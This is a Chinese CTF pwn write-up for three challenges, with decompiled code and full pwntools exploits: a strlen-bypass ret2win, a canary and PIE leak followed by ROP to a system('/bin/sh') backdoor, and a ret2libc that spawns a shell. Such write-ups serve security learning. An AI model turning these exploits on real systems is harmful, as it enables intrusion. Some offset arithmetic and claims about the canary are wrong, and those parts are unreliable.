写在前面
此为第一版,貌似错误挺多的,后面再修吧
omg电台炸了
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No没有PIE,但是有canary,还是需要泄露
看main函数逻辑
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned __int8 v4; // [rsp+Fh] [rbp-A1h] BYREF _QWORD v5[9]; // [rsp+10h] [rbp-A0h] BYREF char v6; // [rsp+58h] [rbp-58h] _QWORD v7[8]; // [rsp+60h] [rbp-50h] BYREF void (*v8)(void); // [rsp+A0h] [rbp-10h]
memset(v7, 0, sizeof(v7)); v8 = (void (*)(void))show_status; memset(v5, 0, sizeof(v5)); v6 = 0; IO_setvbuf(stdin, 0, 2, 0); IO_setvbuf(stdout, 0, 2, 0); alarm(30); IO_puts("=== Faulty Radio Hardware ==="); IO_puts("[hardware] Recovery controller online."); IO_puts("[hardware] Send a length-prefixed encrypted repair message."); IO_puts("Enter repair ciphertext:"); read_exact(&v4, 1); if ( v4 && v4 <= 0x48u ) { read_exact(v5, v4); if ( (unsigned __int64)j_strlen(v5) <= 0x20 ) { j___new_memcpy(v7, v5, v4); v8(); } else { IO_puts("[hardware] Repair cipher is too long."); } return 0; } else { IO_puts("[hardware] Invalid frame length."); return 0; }}依旧alarm,欸没有canary防护欸
复习一下
memcpy(v7, v5, v4);是 C 标准库函数memcpy的调用,功能是:从源地址
v5开始,复制v4个字节到目标地址v7。
也就是说,有两轮检查,第一轮检查v4的上界,第二轮检查v5的长度
常见指令长度示例(x86-64)
| 指令 | 字节数 | 机器码示例 |
|---|---|---|
ret | 1 | c3 |
push rbp | 1 | 55 |
pop rdi | 1 | 5f |
pop rdi; ret | 2 | 5f c3 |
mov rbp, rsp | 3 | 48 89 e5 |
call rel32 | 5 | e8 xx xx xx xx |
jmp rel32 | 5 | e9 xx xx xx xx |
syscall | 2 | 0f 05 |
然后调用v8(指针),v8原本指向的是一个说明(show_status)
然后就是找后门环节
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/omg电台出问题了/attachment$ strings -a -t x radio_relay | grep '/flag' 7e04a /flag有后门
__int64 repair_complete(){ _QWORD v1[16]; // [rsp+0h] [rbp-90h] BYREF __int64 v2; // [rsp+80h] [rbp-10h] int v3; // [rsp+8Ch] [rbp-4h]
memset(&v1[1], 0, 120); v3 = _open("/flag", 0, 0); if ( v3 < 0 ) { IO_puts("[hardware] Repair completed, but the diagnostic record is unavailable."); exit(1); } v2 = _libc_read((unsigned int)v3, v1, 127); if ( v2 > 0 ) { _libc_write(1, "[hardware] Repair completed: ", 29); _libc_write(1, v1, v2); } return _libc_close((unsigned int)v3);}shift+F12,ctrl+F
那就是栈溢出+跳转,ret2win
目前来看,能操作的就是memcpy,你这样想,v7只有50h,v5可以被我控制,那不就可以造栈溢出了。
这个时候有人问了,v5不是有长度检查吗,你想鸡毛
唉我真得整理一篇检查绕后了
strlen(v5)遇到第一个\x00就会停止计数,返回之前的长度。
也就是说,我们的打入数据一开始就放一个\00就可以绕过检查了
ok
exp
from pwn import *
p = remote('127.0.0.1', 65365)# p = process('./radio_relay')win_place = 0x40182A
payload = b'\x00' + b'A' * (64 - 1) + p64(win_place)
p.recvuntil(b'Enter repair ciphertext:')p.send(bytes([len(payload)]))p.send(payload)
p.interactive()hard_overflow
这个是25aurora的
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: NoPIE+NX+canary
main
int __fastcall main(int argc, const char **argv, const char **envp){ _QWORD buf[2]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u); init(argc, argv, envp); buf[0] = 0; buf[1] = 0; v5 = 0; printf("Username: "); read(0, buf, 0x80u); printf("Hello, %s\n", (const char *)buf); vuln(); return 0;}再看vuln
__int64 vuln(){ char buf[32]; // [rsp+0h] [rbp-50h] BYREF char dest[40]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("Password: "); read(0, buf, 0x80u); printf("Repeat the password to ensure: %s\n", buf); strcpy(dest, buf); read(0, buf, 0x80u); if ( strcmp(dest, buf) ) exit(-1); return 1;}[rbp-8h]意味着v3是canary
看看汇编
0000000000001233 ; __unwind {.text:0000000000001233 push rbp.text:0000000000001234 mov rbp, rsp.text:0000000000001237 sub rsp, 20h.text:000000000000123B mov [rbp+var_18], rdi.text:000000000000123F mov rax, fs:28h.text:0000000000001248 mov [rbp+var_8], rax.text:000000000000124C xor eax, eax.text:000000000000124E mov edi, 20h ; ' ' ; size.text:0000000000001253 call _malloc.text:0000000000001258 mov [rbp+command], rax.text:000000000000125C mov rax, [rbp+command].text:0000000000001260 mov rdx, 68732F6E69622Fh.text:000000000000126A mov [rax], rdx.text:000000000000126D mov rax, 1145141919810721h.text:0000000000001277 cmp [rbp+var_18], rax.text:000000000000127B jnz short loc_128B.text:000000000000127D mov rax, [rbp+command].text:0000000000001281 mov rdi, rax ; command.text:0000000000001284 call _system.text:0000000000001289 jmp short loc_129A可以看到,rdi传入给栈帧var_18,然后再鸡巴和神秘小数字比较(我操,恶俗啊)也就是说后门拿到shell的条件是要让rdi变成神秘小数字,也就是需要吧rdi弹出(pop_rdi),再给他赋值
这个时候有人就要问了,为什么不是通过入栈赋值呢你个唐
这就要讲到linux64调用参数规定了,前六个参数都是直接通过寄存器传递的
- 第 1 个参数 →
rdi- 第 2 个参数 →
rsi- 第 3 个参数 →
rdx- 第 4 个参数 →
rcx- 第 5 个参数 →
r8- 第 6 个参数 →
r9
只有第 7 个及以后的参数才压栈
那要怎么操作呢
pop rdi; ret
[pop_rdi 的地址] ← ret 会跳到这里[0x1145141919810721] ← pop rdi 会把这个值弹到 rdi[backdoor 的地址] ← pop rdi 后的 ret 会跳到这里函数结束,ret跳转到pop_rdi,执行该操作,然后赋值给rdi,执行完的ret再跳转到后门,即可操作
What_s_this ?
text:0000000000001374 What_s_this proc near.text:0000000000001374 ; __unwind {.text:0000000000001374 pop rdi.text:0000000000001375 pop rsi.text:0000000000001376 retn.text:0000000000001376 What_s_this endp ; sp-analysis failed.text:0000000000001376.text:0000000000001376 ; ---------------------------------------------------------------------------.text:0000000000001377 db 2Bh dup(90h).text:0000000000001377 ; } // starts at 1374.text:00000000000013A2rdi也不缺了
那回到mian函数,我们需要构造栈溢出,对吧
你都printf我输入的buf那还说啥
canary再uesr’sname阶段就可以解决了
vuln的两个read都溢出,一个泄露真实地址,一个跳转,偏移通过未知数计算即可,读取一个赋值一个就好
先看canary泄露的操作
看栈帧开辟:
0x20-0x8=0x12,那么要先塞0x12才到canary的地址+“\x99” (canary最低字节恒为0x00)
那我们塞满他的话,程序就会一直打印知道null为止,显然我们的填充字节不会爆null,那么canary就一定会被泄露
但此时的canary不是完整的,需要
canary = b"\x00" + canary7接着进入vuln,构造栈溢出,跟第一次一样
但是这次让printf一直打印到返回地址处,返回地址正好压入的是main的返回地址,那我们要填充多少字节呢
[rbp-50h]+ 0x8,因为返回地址永远在 rbp + 8
你再去查call里的返回地址偏移,汇编左边那个栏目,可以得到0x1429
得到0x1429之后就可以算base了
base=返回地址-0x1429
第三轮的ROP就不多赘述了
ok那大差不差了
exp(感谢leyi的馈赠)
from pwn import *context(arch='amd64', os='linux', log_level='debug')context.terminal = ['cmd.exe', '/c', 'start', '/MAX', 'bash.exe', '-c']
p = process('./hardoverflow')# p = gdb.debug('./hardoverflow')# p = remote('node.szu.moe', 10390)
p.recvuntil(b'Username: ')p.send(b'a'*0x19)p.recvn(0x20)canary = b'\x00' + p.recvn(7)log.success('get canary --> ' + canary.hex())
p.recvuntil(b'Password: ')p.send(b'a'*0x58)p.recvn(0x77)real_addr = u64(p.recvn(6).ljust(8, b'\x00'))base_addr = real_addr - 0x1429log.success('get elf_base --> ' + hex(base_addr))
p.recvline()payload = flat( b'a'*0x1f, b'\x00', b'a'*0x1f, b'\x00', b'a'*0x8, canary, b'a'*0x8, base_addr + 0x1374, 0x1145141919810721, 0, base_addr + 0x1233)p.send(payload)
p.interactive()hard_libc
checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No只有NX
再看main
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("No gift for you this time! Say something\n"); putchar(62); return read(0, buf, 0x100u);}很明显的栈溢出
What_s_this
text:0000000000401185 ; void What_s_this().text:0000000000401185 public What_s_this.text:0000000000401185 What_s_this proc near.text:0000000000401185 ; __unwind {.text:0000000000401185 pop rdi.text:0000000000401186 pop rsi.text:0000000000401187 retn.text:0000000000401187 What_s_this endp ; sp-analysis failed.text:0000000000401187.text:0000000000401187 ; ---------------------------------------------------------------------------.text:0000000000401188 db 0Bh dup(90h).text:0000000000401188 ; } // starts at 401185.text:0000000000401193给rdi了
以及没有后门
那就只能去libc.so.6去找
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ readelf -s ./libc.so.6 | grep system 1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ strings -a -t x ./libc.so.6 | grep '/bin/sh' 1d8678 /bin/sh于是我什么都不缺了.jpg
攻击思路
由于只有一次调用,所以我们得泄露一次其真实地址(跳过ASLR),然后重新跑一遍跳转到system以及/bin/sh
额延迟绑定机制就不在这里教了
总之我们需要的是rdi,rsi放个0占位就好
exp
from pwn import *
elf = ELF('./hardlibc')libc = ELF('./libc.so.6')
pop_rdi_pop_rsi = 0x401185main_addr = elf.symbols['main']ret = 0x401016
payload1 = b'a' * 40 + p64(pop_rdi_pop_rsi) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(main_addr)
p = remote("node.szu.moe", 10011)# p = process('./hardlibc')p.sendline(payload1)leak = p.recvline().strip().ljust(8, b'\x00')puts_addr = u64(leak)libc_base = puts_addr - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A' * 40payload2 += p64(ret)payload2 += p64(pop_rdi_pop_rsi)payload2 += p64(binsh_addr)payload2 += p64(0)payload2 += p64(system_addr)p.sendline(payload2)p.interactive()Some information may be outdated